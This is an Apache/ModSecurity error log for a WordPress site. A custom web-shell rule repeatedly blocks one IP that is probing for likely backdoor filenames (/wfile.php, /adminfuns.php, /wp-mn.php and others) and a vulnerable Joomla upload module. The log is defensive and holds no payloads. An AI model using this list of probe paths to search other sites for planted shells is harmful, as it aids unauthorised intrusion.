[Sun Mar 29 18:52:12.080957 2026] [:error] [pid 23250:tid 23254] [client 51.103.28.129:36767] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "ackEXJxrpj-dQjy1cvrn5wAAAkI"]
[Sun Mar 29 18:52:13.147313 2026] [:error] [pid 23168:tid 23220] [client 51.103.28.129:56735] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "ackEXWP8p0yRL8ot_29nmAAAAhc"]
[Sun Mar 29 18:52:14.190453 2026] [:error] [pid 23137:tid 23139] [client 51.103.28.129:19681] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "ackEXhaWQa7LdZ_qGFbiJQAAAYA"]
[Sun Mar 29 18:52:16.767763 2026] [:error] [pid 32254:tid 32276] [client 51.103.28.129:46352] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "ackEYKug2IHuyGgCTn9LIAAAAAw"]
[Sun Mar 29 18:52:17.561031 2026] [:error] [pid 32257:tid 32326] [client 51.103.28.129:42480] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "ackEYSE3TArOFrUtgWrVGAAAAIg"]
[Sun Mar 29 18:52:18.282859 2026] [:error] [pid 32257:tid 32318] [client 51.103.28.129:21232] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "ackEYiE3TArOFrUtgWrVGwAAAIA"]
[Sun Mar 29 18:52:18.814883 2026] [:error] [pid 23284:tid 23288] [client 51.103.28.129:65353] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "ackEYozBujdPHsq7wyQuHQAAAoI"]
[Sun Mar 29 18:52:19.760656 2026] [:error] [pid 23168:tid 23203] [client 51.103.28.129:3196] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "ackEY2P8p0yRL8ot_29nqgAAAgY"]
[Sun Mar 29 18:52:21.323558 2026] [:error] [pid 23137:tid 23142] [client 51.103.28.129:21232] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ut.php"] [unique_id "ackEZRaWQa7LdZ_qGFbiKgAAAYM"]
[Sun Mar 29 18:52:22.210432 2026] [:error] [pid 23137:tid 23143] [client 51.103.28.129:17302] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ut.php"] [unique_id "ackEZhaWQa7LdZ_qGFbiLwAAAYQ"]
[Sun Mar 29 18:52:22.824155 2026] [:error] [pid 23284:tid 23309] [client 51.103.28.129:17335] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ut.php"] [unique_id "ackEZozBujdPHsq7wyQuIwAAApc"]
[Sun Mar 29 18:52:23.522536 2026] [:error] [pid 23284:tid 23301] [client 51.103.28.129:21146] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ut.php"] [unique_id "ackEZ4zBujdPHsq7wyQuKQAAAo8"]
[Sun Mar 29 18:52:24.302196 2026] [:error] [pid 23167:tid 23177] [client 51.103.28.129:61895] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wfile.php"] [unique_id "ackEaBIAHJCFaHff3_eW1gAAAcc"]
[Sun Mar 29 18:52:25.435229 2026] [:error] [pid 32257:tid 32342] [client 51.103.28.129:3158] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wfile.php"] [unique_id "ackEaSE3TArOFrUtgWrVKwAAAJg"]
[Sun Mar 29 18:52:26.352641 2026] [:error] [pid 32257:tid 32319] [client 51.103.28.129:35380] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wfile.php"] [unique_id "ackEaiE3TArOFrUtgWrVNQAAAIE"]
[Sun Mar 29 18:52:27.108477 2026] [:error] [pid 32257:tid 32338] [client 51.103.28.129:32836] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wfile.php"] [unique_id "ackEayE3TArOFrUtgWrVOwAAAJQ"]
[Sun Mar 29 18:52:27.746453 2026] [:error] [pid 8818:tid 8824] [client 51.103.28.129:56719] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "ackEayCDvotZNSF0FBq80wAAAUI"]
[Sun Mar 29 18:52:28.430890 2026] [:error] [pid 32257:tid 32332] [client 51.103.28.129:54630] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "ackEbCE3TArOFrUtgWrVPQAAAI4"]
[Sun Mar 29 18:52:29.014833 2026] [:error] [pid 32254:tid 32282] [client 51.103.28.129:36796] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "ackEbaug2IHuyGgCTn9LJwAAABI"]
[Sun Mar 29 18:52:29.693449 2026] [:error] [pid 23168:tid 23199] [client 51.103.28.129:3345] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "ackEbWP8p0yRL8ot_29nuAAAAgI"]
[Sun Mar 29 18:52:30.405385 2026] [:error] [pid 23168:tid 23210] [client 51.103.28.129:61918] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admir.php"] [unique_id "ackEbmP8p0yRL8ot_29nvQAAAg0"]
[Sun Mar 29 18:52:31.081472 2026] [:error] [pid 8818:tid 8826] [client 51.103.28.129:3945] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admir.php"] [unique_id "ackEbyCDvotZNSF0FBq81gAAAUQ"]
[Sun Mar 29 18:52:31.903349 2026] [:error] [pid 23168:tid 23207] [client 51.103.28.129:36742] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admir.php"] [unique_id "ackEb2P8p0yRL8ot_29nxgAAAgo"]
[Sun Mar 29 18:52:32.621895 2026] [:error] [pid 32359:tid 32364] [client 51.103.28.129:35391] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admir.php"] [unique_id "ackEcAMb8G3UzfQP3WgZDgAAAMM"]
[Sun Mar 29 18:52:34.264824 2026] [:error] [pid 23250:tid 23256] [client 51.103.28.129:54136] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file52.php"] [unique_id "ackEcpxrpj-dQjy1cvrn9AAAAkQ"]
[Sun Mar 29 18:52:35.152981 2026] [:error] [pid 32257:tid 32318] [client 51.103.28.129:19662] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file52.php"] [unique_id "ackEcyE3TArOFrUtgWrVRAAAAIA"]
[Sun Mar 29 18:52:35.996881 2026] [:error] [pid 32257:tid 32324] [client 51.103.28.129:65397] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file52.php"] [unique_id "ackEcyE3TArOFrUtgWrVSAAAAIY"]
[Sun Mar 29 18:52:36.881868 2026] [:error] [pid 32257:tid 32322] [client 51.103.28.129:46363] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file52.php"] [unique_id "ackEdCE3TArOFrUtgWrVTAAAAIQ"]
[Sun Mar 29 18:53:13.263466 2026] [autoindex:error] [pid 32257:tid 32336] [client 51.103.28.129:16144] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 29 18:53:33.986731 2026] [:error] [pid 23167:tid 23188] [client 51.103.28.129:43524] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "ackErRIAHJCFaHff3_eXAwAAAdI"]
[Sun Mar 29 18:53:34.793489 2026] [:error] [pid 32257:tid 32324] [client 51.103.28.129:26822] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "ackEriE3TArOFrUtgWrWvwAAAIY"]
[Sun Mar 29 18:53:35.476402 2026] [:error] [pid 32257:tid 32340] [client 51.103.28.129:21507] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "ackEryE3TArOFrUtgWrWwwAAAJY"]
[Sun Mar 29 18:53:36.380380 2026] [:error] [pid 8818:tid 8838] [client 51.103.28.129:43528] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "ackEsCCDvotZNSF0FBq89gAAAVA"]
[Sun Mar 29 18:53:37.009401 2026] [:error] [pid 32359:tid 32380] [client 51.103.28.129:44012] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "ackEsQMb8G3UzfQP3WgZIwAAANM"]
[Sun Mar 29 18:53:37.629307 2026] [:error] [pid 23167:tid 23181] [client 51.103.28.129:21521] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "ackEsRIAHJCFaHff3_eXCAAAAcs"]
[Sun Mar 29 18:53:38.534241 2026] [:error] [pid 23167:tid 23170] [client 51.103.28.129:24396] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "ackEshIAHJCFaHff3_eXDAAAAcA"]
[Sun Mar 29 18:53:39.232442 2026] [:error] [pid 23168:tid 23214] [client 51.103.28.129:18519] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "ackEs2P8p0yRL8ot_29oCQAAAhE"]
[Sun Mar 29 18:53:40.021432 2026] [:error] [pid 23168:tid 23213] [client 51.103.28.129:39423] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "ackEtGP8p0yRL8ot_29oDQAAAhA"]
[Sun Mar 29 18:53:40.653915 2026] [:error] [pid 23168:tid 23212] [client 51.103.28.129:20071] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "ackEtGP8p0yRL8ot_29oEQAAAg8"]
[Sun Mar 29 18:53:41.369602 2026] [:error] [pid 32257:tid 32335] [client 51.103.28.129:52592] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "ackEtSE3TArOFrUtgWrWyQAAAJE"]
[Sun Mar 29 18:53:42.012723 2026] [:error] [pid 32255:tid 32300] [client 51.103.28.129:26865] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "ackEtmnfn-AtRoMbquyo_AAAAEk"]
[Sun Mar 29 18:54:16.092988 2026] [:error] [pid 23284:tid 23306] [client 51.103.28.129:20027] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mn.php"] [unique_id "ackE2IzBujdPHsq7wyQvGwAAApQ"]
[Sun Mar 29 18:54:22.411760 2026] [:error] [pid 23168:tid 23217] [client 51.103.28.129:48548] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mn.php"] [unique_id "ackE3mP8p0yRL8ot_29oRwAAAhQ"]
[Sun Mar 29 18:54:23.984946 2026] [:error] [pid 32257:tid 32318] [client 51.103.28.129:51077] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mt.php"] [unique_id "ackE3yE3TArOFrUtgWrXTwAAAIA"]
[Sun Mar 29 18:54:25.121426 2026] [:error] [pid 32257:tid 32330] [client 51.103.28.129:41481] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mt.php"] [unique_id "ackE4SE3TArOFrUtgWrXVAAAAIw"]
[Sun Mar 29 18:54:25.912939 2026] [:error] [pid 23250:tid 23269] [client 51.103.28.129:19307] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mt.php"] [unique_id "ackE4Zxrpj-dQjy1cvroHQAAAlE"]
[Sun Mar 29 18:55:13.449562 2026] [:error] [pid 23137:tid 23159] [client 51.103.28.129:46970] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "ackFERaWQa7LdZ_qGFbifAAAAZQ"]
[Sun Mar 29 18:55:14.424185 2026] [:error] [pid 32257:tid 32323] [client 51.103.28.129:17735] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "ackFEiE3TArOFrUtgWrXnAAAAIU"]
[Sun Mar 29 18:55:15.737306 2026] [:error] [pid 32255:tid 32303] [client 51.103.28.129:15826] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "ackFE2nfn-AtRoMbquyppQAAAEw"]
[Sun Mar 29 18:55:16.806286 2026] [:error] [pid 23168:tid 23205] [client 51.103.28.129:53593] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "ackFFGP8p0yRL8ot_29otQAAAgg"]
[Sun Mar 29 18:55:18.973836 2026] [:error] [pid 23168:tid 23206] [client 51.103.28.129:57928] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "ackFFmP8p0yRL8ot_29oyAAAAgk"]
[Sun Mar 29 18:55:20.434918 2026] [:error] [pid 23284:tid 23309] [client 51.103.28.129:53083] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "ackFGIzBujdPHsq7wyQvwQAAApc"]
[Sun Mar 29 18:55:21.242707 2026] [:error] [pid 23167:tid 23180] [client 51.103.28.129:61112] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "ackFGRIAHJCFaHff3_eXgAAAAco"]
[Sun Mar 29 18:55:23.073731 2026] [:error] [pid 32257:tid 32331] [client 51.103.28.129:53600] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "ackFGyE3TArOFrUtgWrXtQAAAI0"]
[Sun Mar 29 18:55:24.027927 2026] [:error] [pid 32257:tid 32338] [client 51.103.28.129:45154] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mn.php"] [unique_id "ackFHCE3TArOFrUtgWrXxAAAAJQ"]
[Sun Mar 29 18:55:24.679758 2026] [:error] [pid 32257:tid 32324] [client 51.103.28.129:17733] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mn.php"] [unique_id "ackFHCE3TArOFrUtgWrX0AAAAIY"]
